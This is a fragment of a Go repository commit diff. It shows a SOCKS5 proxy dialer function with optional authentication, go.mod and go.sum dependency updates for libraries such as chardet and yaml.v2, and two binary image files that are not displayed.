func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
u,err := url.Parse(Socks5Proxy)
if err != nil {
return nil, err
}
if strings.ToLower(u.Scheme) != "socks5" {
return nil, errors.New("Only support socks5")
}
address := u.Host
var auth proxy.Auth
var dailer proxy.Dialer
if u.User.String() != "" {
auth = proxy.Auth{}
auth.User = u.User.Username()
password,_ := u.User.Password()
auth.Password = password
dailer, err = proxy.SOCKS5("tcp", address, &auth, forward)
}else {
dailer, err = proxy.SOCKS5("tcp", address, nil, forward)
}
if err != nil {
return nil, err
}
return dailer, nil
}
+3 -2
View File
@@ -10,7 +10,7 @@ require (
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect
github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b
github.com/lib/pq v1.10.4
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca
github.com/satori/go.uuid v1.2.0
github.com/sijms/go-ora/v2 v2.2.16
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3
@@ -18,7 +18,8 @@ require (
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110
golang.org/x/text v0.3.3
google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b
gopkg.in/yaml.v2 v2.4.0
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect
)
replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3
+3 -2
View File
@@ -188,8 +188,8 @@ github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6So
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca h1:NugYot0LIVPxTvN8n+Kvkn6TrbMyxQiuvKdEwFdR9vI=
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww=
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k=
github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg=
@@ -386,6 +386,7 @@ gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bl
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 420 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB